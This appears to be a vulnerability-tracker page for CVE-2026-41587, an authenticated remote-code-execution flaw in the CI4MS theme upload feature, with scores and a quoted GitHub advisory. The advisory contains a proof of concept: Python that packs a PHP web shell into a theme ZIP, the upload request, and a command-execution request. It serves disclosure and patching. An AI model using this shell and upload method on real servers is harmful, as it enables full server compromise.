CVE-2026-41587

highpriority · track · 0EPSS 0.006 · 50 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
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no known exploitation
Likely / severe?
0.62% (50th) EPSS
CVSS 8.6 · high
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cnnvd · enisa_euvd · osv

EPSS · scored 2026-10-27

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. From version 0.26.0.0 to before version 0.31.7.0, a theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP. This issue has been patched in version 0.31.7.0.

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base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.1–8.6

v4.08.6highCVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:Nsecondary · ENISA EU
v4.08.6highCVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.06.1mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
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Exploitation: poc · Automatable: yes · Technical Impact: totalcoordinatorcisa_ssvcUS
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  • GHSA-fw49-9xq4-gmx6CI4MS has Unrestricted PHP File Upload via Theme Installation that Leads to Authenticated Remote Code Execution2026-04-29ghsa · osvUS

    ### Summary A theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP. ### Details File: `modules/Theme/Controllers/Theme.php` After a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52 File: `modules/Theme/Helpers/themes_helper.php` The helper copies every file matching *.* from `public/templates/<name>/` inside the ZIP directly into `public/templates/<name>/` on disk using rename(), with no file-extension allowlist, no MIME check, and no content inspection: `themes_helper.php:60-68` Because the web root is `public/`, any `.php` file placed there is directly reachable over HTTP. PHP files are also installed — without filtering — into app/Controllers/templates/<name>/, app/Libraries/templates/<name>/, and other app/ subdirectories: `themes_helper.php:31-42` The theme name is derived from the uploaded filename via `str_replace('_theme.zip', '', $file->getName())`, so uploading `evil_theme.zip` sets the theme name to evil and the install target to `public/templates/evil/`: `Theme.php:20` ### PoC Prerequisites: A backend account with theme upload permission (e.g., backend/themes/upload). Step 1 — Build the malicious ZIP: ``` import zipfile, io buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as z: z.writestr('public/templates/evil/shell.php', '<?php system($_GET["c"]); ?>') buf.seek(0) with open('evil_theme.zip', 'wb') as f: f.write(buf.read()) ``` Step 2 — Upload: ``` POST /backend/themes/upload Content-Type: multipart/form-data field name: theme file: evil_theme.zip ``` Step 3 — Execute: ``` GET https://target.com/templates/evil/shell.php?c=id ``` Expected response: output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)). ### Impact Type: Authenticated Remote Code Execution (RCE) via arbitrary file write to the web root. Who is impacted: Any deployment where a backend user has been granted theme upload permission. A superadmin already has full access, but any lower-privileged role granted this permission can use it to write and execute arbitrary PHP on the server, gaining OS-level command execution under the web server process. This can be used for data exfiltration, lateral movement, persistence, or full server compromise.

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published 2026-05-07modified 2026-10-26
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